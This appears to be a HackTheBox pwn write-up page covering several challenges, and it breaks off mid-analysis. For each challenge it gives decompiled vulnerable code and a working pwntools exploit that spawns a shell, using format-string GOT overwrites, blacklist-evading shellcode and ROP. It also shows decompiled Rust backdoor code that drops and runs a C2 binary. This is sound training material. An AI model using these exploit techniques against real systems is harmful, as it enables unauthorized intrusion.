┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: HackTheBox
~ CuB3y0nd
# r0bob1rd

## Difficulty

- EASY

## Description

> I am developing a brand new game with robotic birds. Would you like to test my
 progress so far?

## Write-up

```c del={11-14, 18, 23}
unsigned __int64 operation()
{
  unsigned int v1; // [rsp+Ch] [rbp-74h] BYREF
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("nSelect a R0bob1rd > ");
  fflush(stdout);
  __isoc99_scanf("%d", &v1);
  if ( v1 > 9 )
    printf("nYou've chosen: %s", (const char *)&(&robobirdNames)[v1]);
  else
    printf("nYou've chosen: %s", (&robobirdNames)[v1]);
  getchar();
  puts("nnEnter bird's little description");
  printf("> ");
  fgets(s, 106, stdin);
  puts("Crafting..");
  usleep(0x1E8480u);
  start_screen();
  puts("[Description]");
  printf(s);
  return __readfsqword(0x28u) ^ v3;
}
```

 `operation` 

- `if ( v1 > 9 )`  `v1` OOB
- `fgets(s, 106, stdin);` BOF
- `printf(s);` 

 `robobirdNames` 西

```asm showLineNumbers=false ins={12-17}
pwndbg> x/a &robobirdNames
0x6020a0 <robobirdNames>: 0x400ce8
pwndbg> x/50gx 0x6020a0-0x100
0x601fa0: 0x0000000000000000 0x0000000000000000
0x601fb0: 0x0000000000000000 0x0000000000000000
0x601fc0: 0x0000000000000000 0x0000000000000000
0x601fd0: 0x0000000000000000 0x0000000000000000
0x601fe0: 0x0000000000000000 0x0000000000000000
0x601ff0: 0x00007ffff7c58f90 0x0000000000000000
0x602000: 0x0000000000601e10 0x00007ffff7e29190
0x602010: 0x00007ffff7c15df0 0x0000000000400766
0x602020 <puts@got.plt>: 0x00007ffff7cb9420 0x0000000000400786
0x602030 <printf@got.plt>: 0x00007ffff7c96c90 0x00007ffff7d17d90
0x602040 <fgets@got.plt>: 0x00000000004007b6 0x00000000004007c6
0x602050 <signal@got.plt>: 0x00007ffff7c77f00 0x00007ffff7cb7340
0x602060 <setvbuf@got.plt>: 0x00007ffff7cb9ce0 0x00007ffff7c980b0
0x602070 <usleep@got.plt>: 0x0000000000400816 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0 <robobirdNames>: 0x0000000000400ce8 0x0000000000400cf2
0x6020b0 <robobirdNames+16>: 0x0000000000400cff 0x0000000000400d0c
0x6020c0 <robobirdNames+32>: 0x0000000000400d18 0x0000000000400d26
0x6020d0 <robobirdNames+48>: 0x0000000000400d30 0x0000000000400d40
0x6020e0 <robobirdNames+64>: 0x0000000000400d4b 0x0000000000400d5b
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100 <stdout@@GLIBC_2.2.5>: 0x00007ffff7e226a0 0x0000000000000000
0x602110 <stdin@@GLIBC_2.2.5>: 0x00007ffff7e21980 0x0000000000000000
0x602120 <stderr@@GLIBC_2.2.5>: 0x00007ffff7e225c0 0x0000000000000000
```

 `got` 
 `libc` 

 `setvbuf` one_gadget 
 `__stack_chk_fail`  one_gadget  `__stack_chk_fail`
 `fgets`  BOF  canary.

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    fmtstr_payload,
    process,
    raw_input,
    remote,
    u64,
)

FILE = "./r0bob1rd"
HOST, PORT = "94.237.122.117", 56995

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("./glibc/libc.so.6")


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    target.sendlineafter(b"> ", str(-8))
    target.recvuntil(b": ")

    setvbuf = u64(target.recvline().strip().ljust(0x8, b"x00"))
    libc.address = setvbuf - libc.sym["setvbuf"]
    one_gadget = libc.address + 0xE3B01

    fmtstr = fmtstr_payload(
        8, {elf.got["__stack_chk_fail"]: one_gadget}, write_size="short"
    )
    # raw_input("DEBUG")
    target.sendlineafter(b"> ", fmtstr.ljust(106, b"x00"))

    target.interactive()


if __name__ == "__main__":
    main()
```

# Execute

## Difficulty

- EASY

## Description

> Can you feed the hungry code?

## Write-up



```c del={43} ins={16-25, 38-41}
// gcc execute.c -z execstack -o execute

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void setup() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(0x7f);
}

int check(char *blacklist, char *buf, int read_size, int blacklist_size) {
  for (int i = 0; i < blacklist_size; i++) {
    for (int j = 0; j < read_size - 1; j++) {
      if (blacklist[i] == buf[j])
        return 0;
    }
  }

  return 1337;
}

int main() {
  char buf[62];
  char blacklist[] =
      "x3bx54x62x69x6ex73x68xf6xd2xc0x5fxc9x66x6cx61x67";

  setup();

  puts("Hey, just because I am hungry doesn't mean I'll execute everything");

  int size = read(0, buf, 60);

  if (!check(blacklist, buf, size, strlen(blacklist))) {
    puts("Hehe, told you... won't accept everything");
    exit(1337);
  }

  ((void (*)())buf)();
}
```


 shellcode.

 mask  `a ^ b ^ b = a` 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    asm,
    context,
    disasm,
    log,
    p64,
    process,
    raw_input,
    remote,
    u64,
)

FILE = "./execute"
HOST, PORT = "94.237.54.192", 31583

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    blacklist = set(b"x3bx54x62x69x6ex73x68xf6xd2xc0x5fxc9x66x6cx61x67")
    mask = b""
    target_string = u64(b"/bin/sh".ljust(0x8, b"x00"))

    for byte in range(0, 0x100):
        mask = int(f"{byte:02x}" * 8, 16)
        encoded = p64(mask ^ target_string)

        if all(byte not in blacklist for byte in encoded):
            log.success(f"Found mask: {hex(mask)}")
            break

    payload = asm(f"""
        mov rax, {mask}
        push rax
        mov rax, {mask} ^ {target_string}
        xor [rsp], rax
        mov rdi, rsp
        push 0
        pop rsi
        push 0
        pop rdx
        mov rbx, 0x3a
        inc rbx
        mov rax, rbx
        syscall
    """)

    log.success(disasm(payload))

    for byte in payload:
        if byte in blacklist:
            log.warn(f"Bad byte: {byte:2x}")

    # raw_input("DEBUG")
    target.sendline(payload)
    target.interactive()


if __name__ == "__main__":
    main()
```

# Restaurant

## Difficulty

- EASY

## Description

> Welcome to our Restaurant. Here, you can eat and drink as much as you want! Ju
st don't overdo it..

## Write-up

 libc patchelf  `ld`

```bash collapse={4-27} ins={30}
λ ~/Projects/pwn/Restaurant/ strings libc.so.6 | grep "GLIBC"
GLIBC_2.2.5
GLIBC_2.2.6
GLIBC_2.3
GLIBC_2.3.2
GLIBC_2.3.3
GLIBC_2.3.4
GLIBC_2.4
GLIBC_2.5
GLIBC_2.6
GLIBC_2.7
GLIBC_2.8
GLIBC_2.9
GLIBC_2.10
GLIBC_2.11
GLIBC_2.12
GLIBC_2.13
GLIBC_2.14
GLIBC_2.15
GLIBC_2.16
GLIBC_2.17
GLIBC_2.18
GLIBC_2.22
GLIBC_2.23
GLIBC_2.24
GLIBC_2.25
GLIBC_2.26
GLIBC_2.27
GLIBC_PRIVATE
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
```

使 `GLIBC 2.27` `glibc-all-in-one`  release  GLIBC
 `ld`.

使 patchelf`--set-rpath .`  `libc.so.6`
 `--set-interpreter` 

```bash
sudo patchelf --set-interpreter "$(pwd)/ld-2.27.so" --set-rpath . ./restaurant
```

 `fill`  `read`  BOF
 ROP Chain  libc `fill` 

## Exploit

```python
#!/usr/bin/env python3

from pwn import ELF, ROP, args, context, flat, process, raw_input, remote, u64

FILE = "./restaurant"
HOST, PORT = "94.237.60.55", 54861

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
rop = ROP(elf)
libc = ELF("./libc.so.6")


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    # raw_input("DEBUG")
    target.sendlineafter(b"> ", str(1))

    payload = flat(
        b"A" * 0x28, rop.rdi.address, elf.got["puts"], elf.plt["puts"], elf.sym[
"fill"]
    )
    target.sendafter(b"> ", payload)

    target.recvuntil(b"xa3x10x40")
    libc.address = u64(target.recv(0x6).strip().ljust(8, b"x00")) - libc.sym["pu
ts"]
    one_gadget = libc.address + 0x10A41C

    payload = flat(b"A" * 0x28, one_gadget)
    target.sendafter(b"> ", payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# You know 0xDiablos

## Difficulty

- EASY

## Description

> I missed my flag

## Write-up

BOF `flag`32-bit  python 
 -1  -1 32-b
it  C 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    fit,
    process,
    raw_input,
    remote,
)

FILE = "./vuln"
HOST, PORT = "94.237.57.115", 42156

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    payload = fit(
        {
            0xBC: elf.sym["flag"],
            0xC0: elf.sym["exit"],
            0xC4: -559038737 & 0xFFFFFFFF,
            0xC8: -1059139571 & 0xFFFFFFFF,
        }
    )
    # raw_input("DEBUG")
    target.sendlineafter(b": ", payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

# TicTacToed

## Difficulty

- MEDIUM

## Description

> A lawfirm recently busted an underground network of a part-time cybermafia gro
up. Upon investigation they found nothing but a single tic-tac-toe game on their
 computer. The forensics team suspect it to be more than just a game. Can you ex
pose them ?

## Write-up

Jesus, its a Rust Pwn challenge! 


5 线……
`X`  `O` ……
 AI ……~_……_~

 IDA  IDA 
西…… 5.5M 

```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  return std::rt::lang_start(&tictactoe::main, argc, argv, 0LL);
}
```

 Rust Pwn C  main  `ti
ctactoe::main` rust `tictactoe` 
 crate 

crate  package  package 
 IDA  Function name  crate 
西
 `tictactoe::execute_c2`  backdoor.

```c {57, 89-90, 104, 145}
__int64 __fastcall tictactoe::execute_c2(int a1, int a2, int a3, int a4, int a5,
 int a6)
{
  int v6; // eax
  int v7; // r8d
  int v8; // r9d
  int v9; // eax
  int v10; // ecx
  int v11; // r8d
  int v12; // r9d
  int v13; // eax
  int v14; // r8d
  int v15; // r9d
  int v16; // ecx
  int v17; // r8d
  int v18; // r9d
  int v19; // r9d
  int v20; // edx
  int v21; // ecx
  int v22; // r8d
  int v23; // r9d
  int v25; // [rsp+0h] [rbp-148h]
  int v26; // [rsp+0h] [rbp-148h]
  int v27; // [rsp+0h] [rbp-148h]
  int v28; // [rsp+0h] [rbp-148h]
  int v29; // [rsp+0h] [rbp-148h]
  struct _Unwind_Exception *v30; // [rsp+0h] [rbp-148h]
  int v31; // [rsp+8h] [rbp-140h]
  int v32; // [rsp+8h] [rbp-140h]
  int v33; // [rsp+8h] [rbp-140h]
  int v34; // [rsp+8h] [rbp-140h]
  int v35; // [rsp+8h] [rbp-140h]
  int v36; // [rsp+8h] [rbp-140h]
  int v37; // [rsp+10h] [rbp-138h]
  int v38; // [rsp+10h] [rbp-138h]
  int v39; // [rsp+10h] [rbp-138h]
  int v40; // [rsp+10h] [rbp-138h]
  int v41[2]; // [rsp+10h] [rbp-138h]
  int v42; // [rsp+18h] [rbp-130h]
  char v43; // [rsp+18h] [rbp-130h]
  int v44; // [rsp+18h] [rbp-130h]
  char v45; // [rsp+18h] [rbp-130h]
  int v46; // [rsp+18h] [rbp-130h]
  int v47; // [rsp+18h] [rbp-130h]
  int v48; // [rsp+1Ch] [rbp-12Ch] BYREF
  struct _Unwind_Exception *v49; // [rsp+20h] [rbp-128h]
  int v50; // [rsp+28h] [rbp-120h]
  struct _Unwind_Exception *v51; // [rsp+30h] [rbp-118h]
  int v52; // [rsp+38h] [rbp-110h] BYREF
  int v53; // [rsp+40h] [rbp-108h]
  int v54; // [rsp+48h] [rbp-100h]
  struct _Unwind_Exception *v55; // [rsp+50h] [rbp-F8h]
  int v56[42]; // [rsp+58h] [rbp-F0h] BYREF
  struct _Unwind_Exception *v57; // [rsp+100h] [rbp-48h]
  int v58; // [rsp+108h] [rbp-40h]
  _BYTE v59[32]; // [rsp+128h] [rbp-20h] BYREF

  v6 = std::fs::write(
         (int)aTmpC2Executabl,
         18,
         (int)&off_3A4F30,
         a4,
         a5,
         a6,
         (int)aTmpC2Executabl,
         18,
         v37,
         v42,
         (int)v49,
         v50,
         (int)v51,
         v52,
         v53,
         v54,
         v55,
         v56[0]);
  core::result::Result<T,E>::expect(
    v6,
    (int)aFailedToWriteC,
    25,
    (int)&off_3A4F40,
    v7,
    v8,
    v25,
    v31,
    v38,
    v43,
    v49,
    v50);
  v9 = <std::fs::Permissions as std::os::unix::fs::PermissionsExt>::from_mode(49
3LL);
  v13 = std::fs::set_permissions(v26, v32, v9, v10, v11, v12, v26, v32, v39, v44
, (int)v49, v50, v51, v52);
  core::result::Result<T,E>::expect(
    v13,
    (int)aFailedToSetExe,
    33,
    (int)&off_3A4F58,
    v14,
    v15,
    v27,
    v33,
    v40,
    v45,
    v49,
    v50);
  std::process::Command::new(
    (int)v56,
    v28,
    v34,
    v16,
    v17,
    v18,
    v28,
    v34,
    (int)v56,
    v46,
    (int)v49,
    v50,
    (int)v51,
    v52,
    v53,
    v54,
    (int)v55,
    v56[0],
    v56[2],
    v56[4],
    v56[6],
    v56[8],
    v56[10],
    v56[12],
    v56[14],
    v56[16],
    v56[18],
    v56[20],
    v56[22],
    v56[24],
    v56[26],
    v56[28],
    v56[30],
    v56[32],
    v56[34],
    v56[36],
    v56[38],
    v56[40],
    v57,
    v58);
  std::process::Command::spawn(&v52, *(_QWORD *)v41);
  core::result::Result<T,E>::expect(
    (int)&v48,
    (int)&v52,
    (int)aFailedToExecut,
    27,
    (int)&off_3A4F70,
    v19,
    v29,
    v35,
    v41[0],
    v47,
    (int)v49,
    v50,
    v51,
    v52);
  core::ptr::drop_in_place<std::process::Command>(v56);
  std::process::Child::wait(v59, &v48);
  core::ptr::drop_in_place<core::result::Result<std::process::ExitStatus,std::io
::error::Error>>(v59);
  return core::ptr::drop_in_place<std::process::Child>((int)&v48, (int)&v48, v20
, v21, v22, v23, v30, v36);
}
```
`std::fs::write`  C2 (Command and Co
ntrol)  `/tmp/C2_executable` ……
 `std::fs::set_permissions`  `0755` `from_mode(493
LL)`  `std::process::Command::new` 
 C2 
 `std::process::Command::spawn` 
 Command ……
退

 `tictactoe::execute
_c2` ROP Chain 西
Rust  Rust 
……
 main ……

 main 

```c del={100} {240}
__int64 tictactoe::main()
{
  int *v0; // rcx
  __int64 v1; // rdx
  int line; // eax
  int v3; // edx
  int v4; // r9d
  __int64 v5; // rax
  __int64 v6; // rdx
  __int64 v7; // rcx
  int v8; // r8d
  int v9; // r9d
  int v10; // esi
  int v11; // edx
  int v12; // ecx
  int v13; // r8d
  int v14; // r9d
  char **v15; // rsi
  int v16; // edx
  int v17; // ecx
  int v18; // r8d
  int v19; // r9d
  int v20; // edx
  int v21; // ecx
  int v22; // r8d
  int v23; // r9d
  int v25; // edx
  int v26; // ecx
  int v27; // r8d
  int v28; // r9d
  __int64 v29; // rdx
  int v30; // [rsp+0h] [rbp-4E8h]
  struct _Unwind_Exception *v31; // [rsp+0h] [rbp-4E8h]
  struct _Unwind_Exception *v32; // [rsp+0h] [rbp-4E8h]
  struct _Unwind_Exception *v33; // [rsp+0h] [rbp-4E8h]
  __int64 v34; // [rsp+8h] [rbp-4E0h]
  int v35; // [rsp+8h] [rbp-4E0h]
  int v36; // [rsp+8h] [rbp-4E0h]
  int v37; // [rsp+8h] [rbp-4E0h]
  __int64 v38; // [rsp+10h] [rbp-4D8h]
  __int64 v39; // [rsp+18h] [rbp-4D0h]
  int v40; // [rsp+20h] [rbp-4C8h]
  char is_full; // [rsp+26h] [rbp-4C2h]
  char v42; // [rsp+27h] [rbp-4C1h]
  char v43; // [rsp+28h] [rbp-4C0h]
  int v44[2]; // [rsp+28h] [rbp-4C0h]
  struct _Unwind_Exception *v45; // [rsp+30h] [rbp-4B8h]
  __int64 *v46; // [rsp+30h] [rbp-4B8h]
  int v47; // [rsp+38h] [rbp-4B0h]
  _QWORD *v48; // [rsp+38h] [rbp-4B0h]
  struct _Unwind_Exception *v49; // [rsp+40h] [rbp-4A8h]
  struct _Unwind_Exception **v50; // [rsp+48h] [rbp-4A0h]
  int v51[2]; // [rsp+50h] [rbp-498h]
  int v52; // [rsp+5Ch] [rbp-48Ch]
  int v53[2]; // [rsp+68h] [rbp-480h]
  _QWORD *v54; // [rsp+70h] [rbp-478h]
  int v55[2]; // [rsp+78h] [rbp-470h]
  char v56[8]; // [rsp+D8h] [rbp-410h]
  char v57[8]; // [rsp+138h] [rbp-3B0h]
  int v58[2]; // [rsp+148h] [rbp-3A0h]
  int v59[25]; // [rsp+154h] [rbp-394h] BYREF
  _QWORD v60[2]; // [rsp+1B8h] [rbp-330h]
  int v61; // [rsp+1C8h] [rbp-320h]
  int v62; // [rsp+1CCh] [rbp-31Ch] BYREF
  int v63[6]; // [rsp+1D0h] [rbp-318h] BYREF
  int v64[2]; // [rsp+1E8h] [rbp-300h] BYREF
  int v65[2]; // [rsp+1F0h] [rbp-2F8h]
  char v66[8]; // [rsp+1F8h] [rbp-2F0h]
  _QWORD v67[2]; // [rsp+200h] [rbp-2E8h] BYREF
  int *v68; // [rsp+210h] [rbp-2D8h]
  int v69; // [rsp+21Ch] [rbp-2CCh] BYREF
  _BYTE v70[48]; // [rsp+220h] [rbp-2C8h] BYREF
  __int128 v71; // [rsp+250h] [rbp-298h] BYREF
  __int128 v72; // [rsp+268h] [rbp-280h] BYREF
  __int64 v73; // [rsp+278h] [rbp-270h] BYREF
  _BYTE v74[48]; // [rsp+280h] [rbp-268h] BYREF
  _BYTE v75[48]; // [rsp+2B0h] [rbp-238h] BYREF
  int v76[4]; // [rsp+2E0h] [rbp-208h] BYREF
  int v77[4]; // [rsp+2F8h] [rbp-1F0h] BYREF
  int v78[2]; // [rsp+308h] [rbp-1E0h] BYREF
  char v79[24]; // [rsp+310h] [rbp-1D8h] BYREF
  char v80[8]; // [rsp+328h] [rbp-1C0h] BYREF
  int v81[6]; // [rsp+330h] [rbp-1B8h] BYREF
  _BYTE v82[64]; // [rsp+348h] [rbp-1A0h] BYREF
  int v83[16]; // [rsp+388h] [rbp-160h] BYREF
  _BYTE v84[48]; // [rsp+3C8h] [rbp-120h] BYREF
  int v85[2]; // [rsp+3F8h] [rbp-F0h] BYREF
  __int64 v86; // [rsp+400h] [rbp-E8h]
  int v87; // [rsp+408h] [rbp-E0h]
  _BYTE v88[48]; // [rsp+410h] [rbp-D8h] BYREF
  __int128 v89; // [rsp+440h] [rbp-A8h] BYREF
  __int128 v90; // [rsp+450h] [rbp-98h] BYREF
  _BYTE v91[52]; // [rsp+460h] [rbp-88h] BYREF
  int v92; // [rsp+494h] [rbp-54h]
  __int64 v93; // [rsp+4A8h] [rbp-40h]
  __int64 v94[3]; // [rsp+4B0h] [rbp-38h] BYREF
  __int64 v95; // [rsp+4C8h] [rbp-20h]
  __int64 v96[3]; // [rsp+4D0h] [rbp-18h] BYREF

  tictactoe::detect_debugger();
  for ( *(_QWORD *)v58 = 0LL; *(_QWORD *)v58 < 5uLL; ++*(_QWORD *)v58 )
    *((_DWORD *)v60 + *(_QWORD *)v58) = 45;
  for ( *(_QWORD *)v57 = 0LL; *(_QWORD *)v57 < 5uLL; ++*(_QWORD *)v57 )
  {
    v0 = &v59[5 * *(_QWORD *)v57];
    *(_QWORD *)v0 = v60[0];
    *((_QWORD *)v0 + 1) = v60[1];
    v0[4] = v61;
  }
  v62 = 88;
  alloc::vec::Vec<T>::new(v63);
  while ( 1 )
  {
    while ( 1 )
    {
      *(_QWORD *)v64 = core::array::<impl core::iter::traits::collect::IntoItera
tor for &[T; N]>::into_iter(v59);
      *(_QWORD *)v65 = v1;
      while ( 1 )
      {
        *(_QWORD *)v66 = <core::slice::iter::Iter<T> as core::iter::traits::iter
ator::Iterator>::next(v64);
        if ( !*(_QWORD *)v66 )
          break;
        v67[0] = core::array::<impl core::iter::traits::collect::IntoIterator fo
r &[T; N]>::into_iter(*(_QWORD *)v66);
        v67[1] = v29;
        while ( 1 )
        {
          v39 = <core::slice::iter::Iter<T> as core::iter::traits::iterator::Ite
rator>::next(v67);
          v68 = (int *)v39;
          if ( !v39 )
            break;
          v69 = *v68;
          core::fmt::rt::Argument::new_display(&v72, &v69);
          v71 = v72;
          core::fmt::Arguments::new_v1(v70, &unk_3A52E8, &v71);
          std::io::stdio::_print(v70);
          v38 = std::io::stdio::stdout();
          v73 = v38;
          v34 = <std::io::stdio::Stdout as std::io::Write>::flush(&v73);
          v93 = v34;
          if ( v34 )
          {
            v94[0] = v93;
            core::result::unwrap_failed(aCalledResultUn, 43LL, v94, &off_3A4F00,
 &off_3A5308);
          }
        }
        core::fmt::Arguments::new_const(v74, &off_3A52D8);
        std::io::stdio::_print(v74);
      }
      core::fmt::rt::Argument::new_display(v77, &v62);
      *(_OWORD *)v76 = *(_OWORD *)v77;
      core::fmt::Arguments::new_v1(v75, &off_3A5140, v76);
      std::io::stdio::_print(v75);
      *(_QWORD *)v78 = std::io::stdio::stdout();
      *(_QWORD *)v56 = <std::io::stdio::Stdout as std::io::Write>::flush(v78);
      v95 = *(_QWORD *)v56;
      if ( *(_QWORD *)v56 )
      {
        v96[0] = v95;
        core::result::unwrap_failed(aCalledResultUn, 43LL, v96, &off_3A4F00, &of
f_3A5160);
      }
      alloc::string::String::new(v79);
      *(_QWORD *)v80 = std::io::stdio::stdin();
      line = std::io::stdio::Stdin::read_line(v80, v79);
      core::result::Result<T,E>::expect(
        line,
        v3,
        (int)aFailedToReadLi,
        19,
        (int)&off_3A5178,
        v4,
        v30,
        v34,
        v38,
        v39,
        v40,
        v43,
        v45,
        v47);
      v5 = <alloc::string::String as core::ops::deref::Deref>::deref(v79);
      core::str::<impl str>::trim(v5, v6);
      core::str::<impl str>::split_whitespace((int)v83);
      core::iter::traits::iterator::Iterator::filter_map(v82, v83);
      core::iter::traits::iterator::Iterator::collect(v81, v82);
      if ( alloc::vec::Vec<T,A>::len(v81) == 2
        && *(_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::inde
x(v81, 0LL, &off_3A5190) < 5uLL
        && *(_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::inde
x(v81, 1LL, &off_3A51A8) < 5uLL )
      {
        *(_QWORD *)v55 = *(_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::I
ndex<I>>::index(v81, 0LL, &off_3A51C0);
        if ( *(_QWORD *)v55 >= 5uLL )
          core::panicking::panic_bounds_check(*(_QWORD *)v55, 5LL, &off_3A51D8);
        v54 = (_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::in
dex(v81, 1LL, &off_3A51F0);
        *(_QWORD *)v53 = *v54;
        if ( *v54 >= 5uLL )
          core::panicking::panic_bounds_check(*(_QWORD *)v53, 5LL, &off_3A51D8);
        if ( v59[5 * *(_QWORD *)v55 + *(_QWORD *)v53] == 45 )
          break;
      }
      core::fmt::Arguments::new_const(v84, &off_3A52C8);
      std::io::stdio::_print(v84);
      core::ptr::drop_in_place<alloc::vec::Vec<usize>>((int)v81, (int)&off_3A52C
8, v25, v26, v27, v28, v31, v35);
      core::ptr::drop_in_place<alloc::string::String>(v79);
    }
    v52 = v62;
    *(_QWORD *)v51 = *(_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index
<I>>::index(v81, 0LL, &off_3A5208);
    if ( *(_QWORD *)v51 >= 5uLL )
      core::panicking::panic_bounds_check(*(_QWORD *)v51, 5LL, &off_3A5220);
    v50 = (struct _Unwind_Exception **)<alloc::vec::Vec<T,A> as core::ops::index
::Index<I>>::index(
                                         v81,
                                         1LL,
                                         &off_3A5238);
    v49 = *v50;
    if ( (unsigned __int64)*v50 >= 5 )
      core::panicking::panic_bounds_check(v49, 5LL, &off_3A5220);
    v59[5 * *(_QWORD *)v51 + (_QWORD)v49] = v52;
    v48 = (_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index(
v81, 0LL, &off_3A5250);
    *(_QWORD *)v44 = *v48;
    v46 = (__int64 *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index
(v81, 1LL, &off_3A5268);
    v7 = *v46;
    *(_QWORD *)v85 = *(_QWORD *)v44;
    v86 = v7;
    v87 = v62;
    alloc::vec::Vec<T,A>::push(
      (int)v63,
      (int)v85,
      (int)&off_3A5280,
      v7,
      v8,
      v9,
      (int)v31,
      v35,
      v38,
      v39,
      v40,
      v44[0],
      (int)v46,
      (int)v48,
      v49,
      (int)v50);
    v10 = v62;
    v42 = tictactoe::check_winner(v59, (unsigned int)v62, v63);
    if ( (v42 & 1) != 0 )
    {
      core::fmt::rt::Argument::new_display(&v90, &v62);
      v89 = v90;
      v15 = &off_3A52A8;
      core::fmt::Arguments::new_v1(v88, &off_3A52A8, &v89);
      std::io::stdio::_print(v88);
      goto LABEL_40;
    }
    is_full = tictactoe::is_full(v59);
    if ( (is_full & 1) != 0 )
      break;
    if ( v62 == 88 )
      v92 = 79;
    else
      v92 = 88;
    v62 = v92;
    core::ptr::drop_in_place<alloc::vec::Vec<usize>>((int)v81, v10, v11, v12, v1
3, v14, v32, v36);
    core::ptr::drop_in_place<alloc::string::String>(v79);
  }
  v15 = &off_3A5298;
  core::fmt::Arguments::new_const(v91, &off_3A5298);
  std::io::stdio::_print(v91);
LABEL_40:
  core::ptr::drop_in_place<alloc::vec::Vec<usize>>((int)v81, (int)v15, v16, v17,
 v18, v19, v32, v36);
  core::ptr::drop_in_place<alloc::string::String>(v79);
  return core::ptr::drop_in_place<alloc::vec::Vec<(usize,usize,char)>>((int)v63,
 (int)v15, v20, v21, v22, v23, v33, v37);
}
```

`tictactoe::detect_debugger`  gdb 
 `set $rip`  IDA  patch  `nop`

 patch ……
……

 for  wh
ile  `
core::str::<impl str>::trim` `core::str::<impl str>::spl
it_whitespace`  `core::iter::traits::iterator::I
terator::filter_map`  `core::iter::traits::iterator::I
terator::collect` 

`*(_QWORD *)v55 >= 5uLL`  `*v54 >= 5uLL`  if 
 if `alloc::vec::Vec<T,A>::len(v
81) == 2 && *(_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::ind
ex(v81, 0LL, &off_3A5190) < 5uLL && *(_QWORD *)<alloc::vec::Vec<T,A> as core::op
s::index::Index<I>>::index(v81, 1LL, &off_3A51A8) < 5uLL` 



 `alloc::vec::Vec<T,A>::push`  vector  `ti
ctactoe::check_winner`  `LABEL_40` 


`tictactoe::is_full`
 `std::io::stdio::_print`  `It's a draw!
`.

线 `tictacto
e::check_winner` 

```c
char __fastcall tictactoe::check_winner(int a1, int a2, __int64 a3, int a4, int 
a5, int a6)
{
  __int64 v6; // rax
  __int64 v7; // rdx
  __int64 v8; // rax
  __int64 v9; // rdx
  __int64 v10; // rax
  __int64 v11; // rdx
  int v12; // eax
  int v13; // edx
  int v14; // ecx
  int v15; // r8d
  int v16; // r9d
  __int64 v17; // rax
  __int64 v18; // rdx
  char **v19; // rsi
  __int64 v20; // rdx
  __int64 v21; // rax
  unsigned __int64 v22; // rdx
  int v23; // edx
  int v24; // ecx
  int v25; // r8d
  int v26; // r9d
  __int64 v28; // rdx
  int v29; // r8d
  int v30; // r9d
  int v31; // edx
  int v32; // ecx
  int v33; // r8d
  int v34; // r9d
  __int64 v35; // rax
  __int64 v36; // rdx
  int v37; // [rsp+0h] [rbp-358h]
  int v38; // [rsp+0h] [rbp-358h]
  struct _Unwind_Exception *v39; // [rsp+0h] [rbp-358h]
  int v40; // [rsp+8h] [rbp-350h]
  int v41; // [rsp+8h] [rbp-350h]
  int v42; // [rsp+8h] [rbp-350h]
  int v43; // [rsp+10h] [rbp-348h]
  int v44; // [rsp+10h] [rbp-348h]
  int v45; // [rsp+10h] [rbp-348h]
  int v46; // [rsp+18h] [rbp-340h]
  char v47; // [rsp+18h] [rbp-340h]
  int v48; // [rsp+18h] [rbp-340h]
  char v49; // [rsp+1Eh] [rbp-33Ah]
  int v50; // [rsp+20h] [rbp-338h]
  int v51; // [rsp+20h] [rbp-338h]
  int v52; // [rsp+28h] [rbp-330h]
  int v53; // [rsp+28h] [rbp-330h]
  int v54; // [rsp+30h] [rbp-328h]
  int v55; // [rsp+30h] [rbp-328h]
  struct _Unwind_Exception *v56; // [rsp+30h] [rbp-328h]
  char v57; // [rsp+36h] [rbp-322h]
  char v58; // [rsp+37h] [rbp-321h]
  int v59; // [rsp+38h] [rbp-320h]
  int v60; // [rsp+38h] [rbp-320h]
  int v61; // [rsp+38h] [rbp-320h]
  struct _Unwind_Exception *v62; // [rsp+40h] [rbp-318h]
  int v63; // [rsp+40h] [rbp-318h]
  int v64; // [rsp+48h] [rbp-310h]
  int v65; // [rsp+48h] [rbp-310h]
  int v66; // [rsp+50h] [rbp-308h]
  int v67; // [rsp+58h] [rbp-300h]
  int v68; // [rsp+60h] [rbp-2F8h]
  int v69; // [rsp+68h] [rbp-2F0h]
  int v70; // [rsp+88h] [rbp-2D0h]
  int v71; // [rsp+90h] [rbp-2C8h]
  int v72; // [rsp+98h] [rbp-2C0h]
  int v73; // [rsp+A0h] [rbp-2B8h]
  int v74; // [rsp+A8h] [rbp-2B0h]
